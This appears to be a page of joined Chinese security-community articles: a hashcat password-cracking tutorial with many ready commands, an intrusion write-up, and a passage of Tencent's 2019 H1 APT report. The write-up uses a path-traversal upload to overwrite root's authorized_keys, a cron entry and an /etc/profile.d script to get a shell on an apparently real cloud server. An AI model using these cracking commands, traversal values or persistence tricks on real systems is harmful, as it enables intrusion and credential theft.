以上只是提供了一个简单思路，后期应该会实体化加入新功能，这种蜜罐可以对Wardriving和非法蹭网者吃点亏，可能就是没有定位功能，其实定位功能也蛮简单，成本也比不太高。方便的可以用这个菠萝，想自定义功能的可以用树莓派玩玩.
开了个无线安全的小博客:[www.wiattack.net](http://www.wiattack.net)。里面文章很少，正在添加，无特殊情况都是原创。希望多多交流。 | 社区文章 |
# 简介
Hashcat是自称世界上最快的密码恢复工具。它在2015年之前拥有专有代码库，但现在作为免费软件发布。适用于Linux，OS
X和Windows的版本可以使用基于CPU或基于GPU的变体。支持hashcat的散列算法有Microsoft
LM哈希，MD4，MD5，SHA系列，Unix加密格式，MySQL和Cisco PIX等。
hashcat支持多种计算核心：
GPU
CPU
APU
DSP
FPGA
Coprocessor
GPU的驱动要求
AMD GPUs on Linux require "RadeonOpenCompute (ROCm)" Software Platform (1.6.180 or later)
AMD GPUs on Windows require "AMD Radeon Software Crimson Edition" (15.12 or later)
Intel CPUs require "OpenCL Runtime for Intel Core and Intel Xeon Processors" (16.1.1 or later)
Intel GPUs on Linux require "OpenCL 2.0 GPU Driver Package for Linux" (2.0 or later)
Intel GPUs on Windows require "OpenCL Driver for Intel Iris and Intel HD Graphics"
NVIDIA GPUs require "NVIDIA Driver" (367.x or later)
最新版hashcat下载地址：[https://hashcat.net/files/hashcat-5.1.0.7z](http://https://hashcat.net/files/hashcat-5.1.0.7z
"https://hashcat.net/files/hashcat-5.1.0.7z")
GitHub地址：<https://github.com/hashcat/hashcat>
# 参数
下面使常见的参数，想了解更多的参数可以hashcat --help查看
-a 指定要使用的破解模式，其值参考后面对参数。“-a 0”字典攻击，“-a 1” 组合攻击；“-a 3”掩码攻击。
-m 指定要破解的hash类型，如果不指定类型，则默认是MD5
-o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
--show 显示已经破解的hash及该hash所对应的明文
--increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程
--increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
--increment-max 密码最大长度,同上
--outfile-format 指定破解结果的输出格式id,默认是3
--username 忽略hash文件中的指定的用户名,在破解linux系统用户密码hash可能会用到
--remove 删除已被破解成功的hash
-r 使用自定义破解规则
## 攻击模式：
# | Mode
===+======
0 | Straight（字段破解）
1 | Combination（组合破解）
3 | Brute-force（掩码暴力破解）
6 | Hybrid Wordlist + Mask（字典+掩码破解）
7 | Hybrid Mask + Wordlist（掩码+字典破解）
## 输出格式
1 = hash[:salt]
2 = plain
3 = hash[:salt]:plain
4 = hex_plain
5 = hash[:salt]:hex_plain
6 = plain:hex_plain
7 = hash[:salt]:plain:hex_plain
8 = crackpos
9 = hash[:salt]:crackpos
10 = plain:crackpos
11 = hash[:salt]:plain:crackpos
12 = hex_plain:crackpos
13 = hash[:salt]:hex_plain:crackpos
14 = plain:hex_plain:crackpos
15 = hash[:salt]:plain:hex_plain:crackpos
## Hash id对照表
因为实在是太多了，所有我就贴一部分常见的hash类型，要想了解所有的参数可到hashcat的[Wiki](https://hashcat.net/wiki/doku.php?id=hashcat
"Wiki")上去看，或者直接hashcat --help查看hash对照表
- [ Hash modes ] -
# | Name | Category
======+==================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
1300 | SHA2-224 | Raw Hash
1400 | SHA2-256 | Raw Hash
10800 | SHA2-384 | Raw Hash
1700 | SHA2-512 | Raw Hash
17300 | SHA3-224 | Raw Hash
17400 | SHA3-256 | Raw Hash
17500 | SHA3-384 | Raw Hash
17600 | SHA3-512 | Raw Hash
10 | md5($pass.$salt) | Raw Hash, Salted and/or Iterated
20 | md5($salt.$pass) | Raw Hash, Salted and/or Iterated
30 | md5(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
40 | md5($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
3800 | md5($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated
3710 | md5($salt.md5($pass)) | Raw Hash, Salted and/or Iterated
4010 | md5($salt.md5($salt.$pass)) | Raw Hash, Salted and/or Iterated
4110 | md5($salt.md5($pass.$salt)) | Raw Hash, Salted and/or Iterated
2600 | md5(md5($pass)) | Raw Hash, Salted and/or Iterated
3910 | md5(md5($pass).md5($salt)) | Raw Hash, Salted and/or Iterated
4300 | md5(strtoupper(md5($pass))) | Raw Hash, Salted and/or Iterated
4400 | md5(sha1($pass)) | Raw Hash, Salted and/or Iterated
110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated
120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated
130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
4500 | sha1(sha1($pass)) | Raw Hash, Salted and/or Iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash, Salted and/or Iterated
4700 | sha1(md5($pass)) | Raw Hash, Salted and/or Iterated
4900 | sha1($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated
14400 | sha1(CX) | Raw Hash, Salted and/or Iterated
1410 | sha256($pass.$salt) | Raw Hash, Salted and/or Iterated
1420 | sha256($salt.$pass) | Raw Hash, Salted and/or Iterated
1430 | sha256(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
1440 | sha256($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
1710 | sha512($pass.$salt) | Raw Hash, Salted and/or Iterated
1720 | sha512($salt.$pass) | Raw Hash, Salted and/or Iterated
1730 | sha512(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated
1740 | sha512($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated
14000 | DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack
14100 | 3DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack
14900 | Skip32 (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack
15400 | ChaCha20 | Raw Cipher, Known-Plaintext attack
2500 | WPA-EAPOL-PBKDF2 | Network Protocols
2501 | WPA-EAPOL-PMK | Network Protocols
16800 | WPA-PMKID-PBKDF2 | Network Protocols
16801 | WPA-PMKID-PMK | Network Protocols
7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols
7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | Network Protocols
8300 | DNSSEC (NSEC3) | Network Protocols
10200 | CRAM-MD5 | Network Protocols
11100 | PostgreSQL CRAM (MD5) | Network Protocols
11200 | MySQL CRAM (SHA1) | Network Protocols
16100 | TACACS+ | Network Protocols
16500 | JWT (JSON Web Token) | Network Protocols
121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce, Frameworks
400 | phpBB3 (MD5) | Forums, CMS, E-Commerce, Frameworks
2811 | MyBB 1.2+ | Forums, CMS, E-Commerce, Frameworks
2811 | IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce, Frameworks
8400 | WBB3 (Woltlab Burning Board) | Forums, CMS, E-Commerce, Frameworks
11 | Joomla < 2.5.18 | Forums, CMS, E-Commerce, Frameworks
400 | Joomla >= 2.5.18 (MD5) | Forums, CMS, E-Commerce, Frameworks
400 | WordPress (MD5) | Forums, CMS, E-Commerce, Frameworks
2612 | PHPS | Forums, CMS, E-Commerce, Frameworks
7900 | Drupal7 | Forums, CMS, E-Commerce, Frameworks
21 | osCommerce | Forums, CMS, E-Commerce, Frameworks
21 | xt:Commerce | Forums, CMS, E-Commerce, Frameworks
11000 | PrestaShop | Forums, CMS, E-Commerce, Frameworks
124 | Django (SHA-1) | Forums, CMS, E-Commerce, Frameworks
10000 | Django (PBKDF2-SHA256) | Forums, CMS, E-Commerce, Frameworks
12 | PostgreSQL | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
3100 | Oracle H: Type (Oracle 7+) | Database Server
112 | Oracle S: Type (Oracle 11+) | Database Server
12300 | Oracle T: Type (Oracle 12+) | Database Server
8000 | Sybase ASE | Database Server
15000 | FileZilla Server >= 0.9.55 | FTP Server
11500 | CRC32 | Checksums
3000 | LM | Operating Systems
1000 | NTLM | Operating Systems
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating Systems
3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems
7400 | sha256crypt $5$, SHA256 (Unix) | Operating Systems
1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems
122 | macOS v10.4, MacOS v10.5, MacOS v10.6 | Operating Systems
1722 | macOS v10.7 | Operating Systems
7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating Systems
11600 | 7-Zip | Archives
12500 | RAR3-hp | Archives
13000 | RAR5 | Archives
13600 | WinZip | Archives
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents
9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents
9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents
9400 | MS Office 2007 | Documents
9500 | MS Office 2010 | Documents
9600 | MS Office 2013 | Documents
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents
10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents
99999 | Plaintext | Plaintext
## 掩码设置
这里列一下常见的掩码字符集
l | abcdefghijklmnopqrstuvwxyz 纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母
d | 0123456789 纯数字
h | 0123456789abcdef 常见小写子目录和数字
H | 0123456789ABCDEF 常见大写字母和数字
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 特殊字符
a | ?l?u?d?s 键盘上所有可见的字符
b | 0x00 - 0xff 可能是用来匹配像空格这种密码的
下面举几个简单的例子来了解一下掩码的设置
八位数字密码：?d?d?d?d?d?d?d?d
八位未知密码：?a?a?a?a?a?a?a?a
前四位为大写字母，后面四位为数字：?u?u?u?u?d?d?d?d
前四位为数字或者是小写字母，后四位为大写字母或者数字：?h?h?h?h?H?H?H?H
前三个字符未知，中间为admin，后三位未知：?a?a?aadmin?a?a?a
6-8位数字密码：--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l
6-8位数字+小写字母密码：--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h
如果我们想设置字符集为：abcd123456!@-+，那该怎么做呢。这就需要用到自定义字符集这个参数了，hashcat支持用户最多定义4组字符集
--custom-charset1 [chars]等价于 -1
--custom-charset2 [chars]等价于 -2
--custom-charset3 [chars]等价于 -3
--custom-charset4 [chars]等价于 -4
在掩码中用?1、?2、?3、?4来表示。
再来举几个例子：
--custom-charset1 abcd123456!@-+。然后我们就可以用"?1"去表示这个字符集了
--custom-charset2 ?l?d，这里和?2就等价于?h
-1 ?d?l?u，?1就表示数字+小写字母+大写字母
-3 abcdef -4 123456 那么?3?3?3?3?4?4?4?4就表示为前四位可能是“abcdef”，后四位可能是“123456”
# 例子
PS：我这里给一下我机子的配置，然后再对比一下破解的速度
CPU：Intel(R) Core(TM) i5-7300HQ CPU @ 2.50GHz
显卡：GTX 1050 Ti
## 7位数字破解
hashcat64.exe -a 3 -m 0 --force 25c3e88f81b4853f2a8faacad4c871b6 ?d?d?d?d?d?d?d
## 7位小写字母破解：
hashcat64.exe -a 3 -m 0 --force 7a47c6db227df60a6d67245d7d8063f3 ?l?l?l?l?l?l?l
## 1-8位数字破解：
hashcat64.exe -a 3 -m 0 --force 4488cec2aea535179e085367d8a17d75 --increment --increment-min 1 --increment-max 8 ?d?d?d?d?d?d?d?d
## 1-8位小写字母+数字破解
hashcat64.exe -a 3 -m 0 --force ab65d749cba1656ca11dfa1cc2383102 --increment --increment-min 1 --increment-max 8 ?h?h?h?h?h?h?h?h
## 特定字符集：123456abcdf!@+-
hashcat64.exe -a 3 -1 123456abcdf!@+- 8b78ba5089b11326290bc15cf0b9a07d ?1?1?1?1?1
注意一下：这里的-1和?1是数字1，不是字母l
## 1-8为位符集:123456abcdf!@+-
hashcat64.exe -a 3 -1 123456abcdf!@+- 9054fa315ce16f7f0955b4af06d1aa1b --increment --increment-min 1 --increment-max 8 ?1?1?1?1?1?1?1?1
## 1-8位数字+大小写字母+可见特殊符号
hashcat64.exe -a 3 -1 ?d?u?l?s d37fc9ee39dd45a7717e3e3e9415f65d --increment --increment-min 1 --increment-max 8 ?1?1?1?1?1?1?1?1
或者：
hashcat64.exe -a 3 d37fc9ee39dd45a7717e3e3e9415f65d --increment --increment-min 1 --increment-max 8 ?a?a?a?a?a?a?a?a
## 字典破解
-a 0是指定字典破解模式，-o是输出结果到文件中
hashcat64.exe -a 0 ede900ac1424436b55dc3c9f20cb97a8 password.txt -o result.txt
## 批量破解
hashcat64.exe -a 0 hash.txt password.txt -o result.txt
## 字典组合破解：
hashcat64.exe -a 1 25f9e794323b453885f5181f1b624d0b pwd1.txt pwd2.txt
## 字典+掩码破解
hashcat64.exe -a 6 9dc9d5ed5031367d42543763423c24ee password.txt ?l?l?l?l?l
## Mysql4.1/5的PASSWORD函数
hashcat64.exe -a 3 -m 300 --force 6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 ?d?d?d?d?d?d
## sha512crypt $6$, SHA512 (Unix)破解
可以cat /etc/shadow获取
hashcat64.exe -a 3 -m 1800 --force $6$mxuA5cdy$XZRk0CvnPFqOgVopqiPEFAFK72SogKVwwwp7gWaUOb7b6tVwfCpcSUsCEk64ktLLYmzyew/xd0O0hPG/yrm2X. ?l?l?l?l
不用整理用户名，使用--username
hashcat64.exe -a 3 -m 1800 --force qiyou:$6$QDq75ki3$jsKm7qTDHz/xBob0kF1Lp170Cgg0i5Tslf3JW/sm9k9Q916mBTyilU3PoOsbRdxV8TAmzvdgNjrCuhfg3jKMY1 ?l?l?l?l?l --username
## Windows NT-hash，LM-hash破解
可以用saminside获取NT-hash,LM-hash的值
NT-hash:
hashcat64.exe -a 3 -m 1000 209C6174DA490CAEB422F3FA5A7AE634 ?l?l?l?l?l
LM-hash:
hashcat64.exe -a 3 -m 3000 F0D412BD764FFE81AAD3B435B51404EE ?l?l?l?l?l
## mssql
hashcat64.exe -a 3 -m 132 --force 0x01008c8006c224f71f6bf0036f78d863c3c4ff53f8c3c48edafb ?l?l?l?l?l?d?d?d
## wordpress密码hash破解
具体加密脚本在`./wp-includes/class-phpass.php`的`HashPassword`函数
hashcat64.exe -a 3 -m 400 --force $P$BYEYcHEj3vDhV1lwGBv6rpxurKOEWY/ ?d?d?d?d?d?d
## discuz用户密码hash破解
其密码加密方式md5(md5($pass).$salt)
hashcat64.exe -a 3 -m 2611 --force 14e1b600b1fd579f47433b88e8d85291: ?d?d?d?d?d?d
## 破解RAR压缩密码
首先rar2john获取rar文件hash值[下载地址](http://openwall.info/wiki/_media/john/johntheripper-v1.8.0.12-jumbo-1-bleeding-e6214ceab-2018-02-07-win-x64.7z
"下载地址")
获取rar文件的hash值：rar2john.exe 1.rar
结果：
1.rar:$rar5$16$639e9ce8344c680da12e8bdd4346a6a3$15$a2b056a21a9836d8d48c2844d171b73d$8$04a52d2224ad082e
hashcat64.exe -a 3 -m 13000 --force $rar5$16$639e9ce8344c680da12e8bdd4346a6a3$15$a2b056a21a9836d8d48c2844d171b73d$8$04a52d2224ad082e ?d?d?d?d?d?d
注意：
hashcat 支持 RAR3-hp 和 RAR5，官方示例如下：
-m参数 类型 示例 hash
12500 RAR3-hp $RAR3$*0*45109af8ab5f297a*adbf6c5385d7a40373e8f77d7b89d317
13000 RAR5 $rar5$16$74575567518807622265582327032280$15$f8b4064de34ac02ecabfe
## zip密码破解
用zip2john获取文件的hash值：zip2john.exe 1.zip
结果：1.zip:$zip2$*0*3*0*554bb43ff71cb0cac76326f292119dfd*ff23*5*24b28885ee*d4fe362bb1e91319ab53*$/zip2$:::::1.zip-1.txt
hashcat64.exe -a 3 -m 13600 $zip2$*0*3*0*554bb43ff71cb0cac76326f292119dfd*ff23*5*24b28885ee*d4fe362bb1e91319ab53*$/zip2$ --force ?d?d?d?d?d?d
## 破解office密码
获取office的hash值：python office2john.py 11.docx
结果：11.docx:$office$*2013*100000*256*16*e4a3eb62e8d3576f861f9eded75e0525*9eeb35f0849a7800d48113440b4bbb9c*577f8d8b2e1c5f60fed76e62327b38d28f25230f6c7dfd66588d9ca8097aabb9
hashcat64.exe -a 3 -m 9600 $office$*2013*100000*256*16*e4a3eb62e8d3576f861f9eded75e0525*9eeb35f0849a7800d48113440b4bbb9c*577f8d8b2e1c5f60fed76e62327b38d28f25230f6c7dfd66588d9ca8097aabb9 --force ?d?d?d?d?d?d
## 破解WIFI密码
首先先把我们的握手包转化为hccapx格式，现在最新版的hashcat只支持hccapx格式了，以前的hccap格式已经不支持了
官方在线转化https://hashcat.net/cap2hccapx/
hashcat64.exe -a 3 -m 2500 1.hccapx 1391040?d?d?d?d
# Others
1. 对于破解过的hash值，用`hashcat64.exe hash --show`查看结果
2. 所有的hash破解结果都在hashcat.potfile文件中
3. 如果破解的时间太长，可以按s键可以查看破解的状态，p键暂停，r键继续破解，q键退出破解。
4. 在使用GPU模式进行破解时，可以使用-O参数自动进行优化
5. 在实际破解中的建议，如果我们盲目的去破解，会占用我们大量的时间和资源
1.首先走一遍常用的弱口令字典
2.组合密码，如：zhang1999，用姓氏和出生年组合，当然也可以用其它的组合，这里举个例子而已
3.把常用的掩码组合整理起来放在masks中的.hcmask文件中，然后让它自动加载破解
4.如果实在不行，你可以尝试低位数的所有组合去跑，不过不建议太高位数的组合去破解，因为如果对方设置的密码很复杂的话，到头来你密码没有破解到，却浪费了大量的时间和资源，得不偿失
6.HashCat参数优化
考虑到hashcat的破解速度以及资源的分配，我们可以对一些参数进行配置
1.Workload tuning 负载调优。
该参数支持的值有1,8,40,80,160
--gpu-accel 160 可以让GPU发挥最大性能。
2.Gpu loops 负载微调
该参数支持的值的范围是8-1024（有些算法只支持到1000）。
--gpu-loops 1024 可以让GPU发挥最大性能。
3.Segment size 字典缓存大小
该参数是设置内存缓存的大小，作用是将字典放入内存缓存以加快字典破解速度，默认为32MB，可以根据自身内存情况进行设置，当然是越大越块了。
--segment-size 512 可以提高大字典破解的速度。
#Reference
[Hashcat Wiki](https://hashcat.net/wiki/doku.php?id=hashcat "Hashcat的Wiki")
<https://klionsec.github.io/2017/04/26/use-hashcat-crack-hash/> | 社区文章 |
前言经过上传替换私钥拿服务器之后，这次又碰到一个类似的
但和以往不同的是，没开启私钥登录，也没有私钥文件。
不同的系统，加载的同一套第三方上传框架
看看对应端口打开没
存在，打开是空白
fuzz下上传的接口，404
打开之前拖出来的代码看看还有那些接口来着
直接搜索关键词upload
获取接口后，访问看看
表单解析失败，尝试post上传
老办法通过替换秘钥链接服务器
../../../../../../../root/.ssh/authorized_keys
这里是上传成功，本来以为可以下班了的
尝试连接服务器
小问题，网络问题，换个节点在链接
再次登录弹出私钥，尝试了几次确认要么就是没上传过去，要么就是没开启私钥登录
然后没办法，之前通过反弹shell是接收不到的
死马当活马医，再次尝试通过定时任务反弹shell
在/var/spool/cron/root写入定时任务
由于是阿里云，为了不确定的因素下直接反弹shell报警，就curl dnslog
现在就坐等一分钟
好的都两分钟了，白等
不知道怎么继续的时候就爱百度，然后翻着翻着发现一篇反弹shell的
虽然不能通过定时任务写入，但想到能通过sh文件去执行啊（这里也是打开profile文件才知道），然后用户打开bash窗口就会执行
分析：
这里会加载/etc/profile.d/文件夹里所有sh文件
比如像这样
进入/etc/profile.d目录，然后随便建一个sh文件
然后再重新打开一个窗口
执行了，没毛病
确认可行之后开始上传到etc/profile.d
坐等大冤种连接服务器，接下来还是漫长的等待
等啊等。经过半天的时间终于上线了，下机 | 社区文章 |
**作者：腾讯安全御见威胁情报中心**
**来源：<https://s.tencent.com/research/report/762.html>**
腾讯安全御见威胁情报中心根据团队自己的研究以及搜集的国内外同行的攻击报告，编写了该份2019年上半年APT攻击研究报告。
# 一、 前言
高级可持续性攻击，又称APT攻击，通常由国家背景的相关攻击组织进行攻击的活动。APT攻击常用于国家间的网络攻击行动。主要通过向目标计算机投放特种木马（俗称特马），实施窃取国家机密信息、重要企业的商业信息、破坏网络基础设施等活动，具有强烈的政治、经济目的。
整个2019年上半年，网络攻击频发，全球的网络安全形势不容乐观。腾讯安全御见威胁情报中心根据团队自己的研究以及搜集的国内外同行的攻击报告，编写了该份2019年上半年APT攻击研究报告。根据研究结果，我们认为主要的结论如下：
1、 中国依然是APT攻击的主要受害国，受到来自于东亚、东南亚、南亚、欧美等各个区域的网络威胁；
2、 网络攻击形势跟地域政治局势有相当密切的关联，地域安全形势复杂的地区，往往是APT攻击最为严重和复杂的地区；
3、 APT攻击不再局限于窃取敏感材料，攻击目标开始跟民生相关，如阿根廷、委内瑞拉的大断电等；
4、 大量的APT攻击武器库的泄露，使得网络安全形势更加严峻，如军用网络武器的民用化等，同时也给安全研究者的追踪、溯源带来了一定的困难。
# 二、2019年上半年攻击概览
2019年上半年来，网络安全大事频发，APT攻击也持续高发，为了掌握APT攻击在全球的活动情况，腾讯安全御见威胁情报中心针对全球所有安全团队的安全研究报告进行研究，并提取了相关的指标进行持续的研究和跟踪工作。同时，我们针对相关的研究报告进行了一个梳理和归纳，经过不完全统计，2019年上半年，全球共有42个安全厂商共计发布了144篇APT攻击报告，其中有7家中国的的安全厂商发布了43篇攻击报告，报告数量同步2018年增长了近5成。由于安全公司众多，监测可能有所遗漏，敬请谅解。我们也只选取了有具体攻击活动和明确组织信息的报告做为统计和比对。
图1：国内外主要安全厂商披露APT数量
2019年上半年，国内共有7家安全厂商披露了43篇攻击报告，共涉及APT攻击组织26个，其中海莲花被披露的次数最多，共计7次，其次为污水（MuddyWater），共计5次。
图2：国内安全厂商披露的主要APT组织攻击事件数量
从被攻击地域分布来看，根据腾讯安全御见威胁情报中心的统计显示（不含港澳台地区），2019年上半年中国大陆受APT攻击最多的地区为广西和北京，此外还有辽宁、云南、海南、四川、广东、上海等。详见下图（不含港澳台地区）。
图3：2019年上半年中国大陆被APT攻击的地区分布图
而从行业分布来看，2019年上半年针对中国大陆的攻击中，主要受攻击对象包括政府部门、国有企业、科研机构等，具体分布如下：
图4：国内被攻击目标属性分布
# 三、中国面临的APT攻击形势
中国历来都是APT攻击的主要受害者，随着中国经济的快速发展，以及国际地位的不断攀升，中国面临的外部威胁形势更加严峻。根据腾讯安全御见威胁情报中心的监测以及公开的报告和资料，我们将在2019年上半年对中国大陆有过攻击的组织按疑似的地理位置分为东北亚方向、东亚方向、东南亚方向、南亚方向、其他方向。
**组织归属地** | **代表**
---|---
东亚 | DarkHotel、Group123（APT37）、Lazarus、穷奇（毒云藤）
东南亚 | 海莲花（APT32）
南亚 | BITTER（蔓灵花）、白象、Gorgon Group
其他 | 方程式
表1：2019年上半年攻击中国的APT组织地域分布
## 3.1 东亚方向的威胁
东亚的威胁主要来自朝鲜半岛等地区，此方向组织具有很强的政治背景，常攻击我国政府、外贸、金融、能源等领域的公司、个人及相关科研单位，该方向黑客组织十分庞大，往往呈集团化运作。最典型的攻击组织代表就是DarkHotel、Group123（APT37）、Lazarus、穷奇（毒云藤）等。2019年以来，这几个典型组织都比较活跃。
### 3.1.1 DarkHotel
DarkHotel组织旗下的寄生兽长期对我国外贸公司进行持续性攻击，在2019年上半年再次针对中国的外贸企业进行了攻击活动。该组织具有强大的木马开发能力和0day漏洞利用能力，持续与国内主流安全软件进行安全对抗。新版的寄生兽木马依然使用寄居在正常的文件中疑似通过水坑来感染目标系统，与以往不同的是，以前是通过将大量开源代码加入到木马工程中编译以实现隐藏恶意代码的目的，今年则出现通过替换正常的软件文件来实现劫持的目的，更加隐蔽和难以清理。
图5：捆绑有寄生兽木马的网易邮箱大师程序
感染目标系统后，通过下发恶意插件的方式，对被控机器进行持久性攻击，插件如下：
插件名 | 功能
---|---
rmet_x64/ rmet_x86 | Meterpreter，用于远程控制，持续渗透
mkmfc.dll | 键盘记录插件，本插件用于键盘记录，记录按键信息、窗口标题、时间
weepyll_x64.dll | 内网渗透插件，主要用于横向移动
hird.dll | 用于用于窃取数据库文件
nksen.dll | 用于屏幕监控
igfxrot.exe/TiWork.exe | 开源远程控制木马XRAT，该远控可以进行键盘记录、远程下载执行恶意文件、上传文件、反向代理等功能
表2：寄生兽下发插件的功能列表
### 3.1.2 Group123（APT37）
该组织疑似朝鲜半岛某国政府背景，经常攻击国内的外贸公司、在华外企高管，甚至政府部门。该组织最常使用鱼叉钓鱼邮件进行定向攻击，使用Nday或者0day漏洞进行木马捆绑和伪装。在拿下目标及其后会尝试横向移动以及对根据系统信息发现定制模块，常使用dropbox等公共网络资源作为C2、中转、存储等。2019该组织仍然十分活跃。
图6：Group123的攻击诱饵
图7：Group123组织针对特定计算机下发的定制化模块
### 3.1.3 穷奇（毒云藤）
穷奇组织是一个对我国持续攻击时间长达数十年的老牌APT组织，该组织的攻击活动在2015年左右达到高峰，之后的活动慢慢减少，2019年以来该组织活动减少了很多，攻击频次和攻击范围都大大缩小，但其依然保持活动，如今年3月份，该组织就使用编号为CVE-2018-20250的WinRAR
ACE漏洞向中国大陆数十个重点目标投递了多个RAT木马。投递的RAT木马核心与3年前的版本相比除了配置信息外并未发现新的功能性更新，由此也可印证该组织的活跃度确实在下降。
图8：穷奇组织的钓鱼邮件
图9：带有CVE-2018-20250漏洞的压缩包附件
图10：解压后释放的恶意文件
图11：解压后的正常文件
## 3.2 东南亚方向的威胁
东南亚方向的威胁，最典型的代表就是海莲花（APT32、OceanLotus），该组织是近年来针对中国大陆攻击最频繁的组织，甚至没有之一。其攻击的目标众多且广泛，包括政府部门、大型国企、金融机构、科研机构以及部分重要的私营企业等。该组织攻击人员非常熟悉我国，对我国的时事、新闻热点、政府结构等都非常熟悉，如刚出个税改革时候，就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。
2019上半年以来海莲花组织以更大规模对更广领域进行持续攻击，大量国内企业单位目标整个内网沦陷，攻击方式依旧以使用电子邮件投递诱饵的方式实施鱼叉攻击为主，投递的诱饵类型则是多种多样，有白加黑、lnk、chm、漏洞利用office文件、WinRAR
ACE漏洞文件、文档图标的exe等。一旦获取到一台机器控制权限后，立即对整个内网进行扫描平移渗透攻击。
图12：海莲花的钓鱼邮件
图13：海莲花使用的攻击诱饵
在安全对抗上，海莲花也表现得十分活跃，其技术更新十分频繁，且大量针对国内安全软件。如在启动方式上，上半年出现了通过修改doc、txt等文档文件类型关联程序的方式来实现开机自启动；通过在资源中添加大量的垃圾数据，充大文件体积来防文件上传；通过com组件来添加注册表从而绕过安全软件主动防御的技术。
图14：在资源中添加大量垃圾数据
图15：添加大量垃圾数据后的文件大小
而在受害机器上的持久化文件，白加黑依然是海莲花组织最喜欢用的方式之一，以下是近半年该组织最常用的“白加黑”组合：
白文件原名 | 白文件MD5 | 黑DLL文件名
---|---|---
iTunesHelper.exe | 3723c94f7e6b91e60b74e7eeea6796** | AppleVersions.dll
SGTool.exe | 5fc69418b80385e8c41cfd76b427c1** | inetmib1.dll
Rar.exe | 35bb768e6ee6c8a1462e11cf0be2a9** | ldvptask.ocx
GoogleUpdate.exe | 0545a3eb959cfa4790d267bfb8c1ac** | goopdate.dll
360se.exe | a16702ed1812ddc42153ef070f3dfd** | chrome_elf.dll
winword.exe | ceaa5817a65e914aa178b28f12359a** | wwlib.dll
rekeywiz.exe | ca0537448557b9055ea660c08d76f7** | mpr.dll
表3：海莲花常用的白加黑组合
2019上半年海莲花出现的另一个显著的新变化则是对常驻文件进行机器绑定处理，实现木马与受害机器绑定，即使用计算机名对木马payload进行加密，这样如果样本被拷贝到其他机器，如分析取证人员的电脑，则无法解密出payload而无法分析样本具体行为，对于最终的payload，Denis、Cobalt
Strike、类gh0st依然是该组织最喜欢使用的RAT，且会根据目标的价值信息，选择不同的RAT组合。
图16：海莲花特马的payload加密结构
图17：海莲花特马的payload解密流程
## 3.3 南亚方向的威胁
南亚方向的攻击组织对中国大陆的攻击活动已经持续了近10年，代表组织有BITTER（蔓灵花）、白象（摩诃草、Patchwork、HangOver）、Gorgon
Group等。而BITTER、白象等组织之间又存在某些相似和关联，这一点在我们以往的报告中也有所提及。2019年上半年，该方向的组织依然活跃，持续有针对中国政府部门、军工、核能企业以及外贸、钢铁行业进行攻击的案例。
### 3.3.1 BITTER（蔓灵花）
BITTER（蔓灵花）也是对中国大陆进行攻击的比较频繁的一个攻击组织，攻击目标包括外交相关部门、军工、核能等企业。御见威胁情报中心曾在2018年12月详细的披露过该组织的攻击活动和技术细节，以及和白象等组织的关联关系。2019年上半年该组织的技术特点跟之前的类似，未发现有明显的改进。
图18：蔓灵花的攻击诱饵文件
图19：蔓灵花的钓鱼页面
### 3.3.2 白象
